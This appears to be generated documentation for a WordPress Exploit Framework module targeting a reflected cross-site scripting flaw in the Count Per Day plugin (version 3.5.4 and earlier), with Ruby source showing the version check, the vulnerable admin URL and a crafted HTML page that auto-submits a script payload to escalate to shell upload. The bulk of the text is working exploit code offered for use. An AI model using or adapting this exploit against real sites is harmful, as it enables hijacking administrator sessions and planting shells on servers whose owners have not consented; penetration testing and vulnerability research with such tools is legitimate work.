class Wpxf::Exploit::CountPerDayReflectedXssShellUpload
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::WordPress::StagedReflectedXss::new
# File lib/wpxf/modules/exploit/xss/reflected/count_per_day_reflected_xss_shell_upload.rb, line 6 def initialize super update_info( name: 'Count Per Day <= 3.5.4 Reflected XSS Shell Upload', author: [ 'Yorick Koster', # Discovery 'rastating' # WPXF module ], references: [ ['WPVDB', '8597'], ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_count_per_day_wordpress_plugin.html'] ], date: 'Aug 04 2016' ) end
Public Instance Methods
check()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/count_per_day_reflected_xss_shell_upload.rb, line 23 def check check_plugin_version_from_readme('count-per-day', '3.5.5') end
initial_script()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/count_per_day_reflected_xss_shell_upload.rb, line 31 def initial_script %|<html><head></head><body><script> #{js_post} post('#{vulnerable_url}', { limit: "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script><input value=\\\"" }); </script></body></html> | end
vulnerable_url()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/count_per_day_reflected_xss_shell_upload.rb, line 27 def vulnerable_url normalize_uri(wordpress_url_admin, 'options-general.php?page=count-per-day%2Fcounter-options.php') end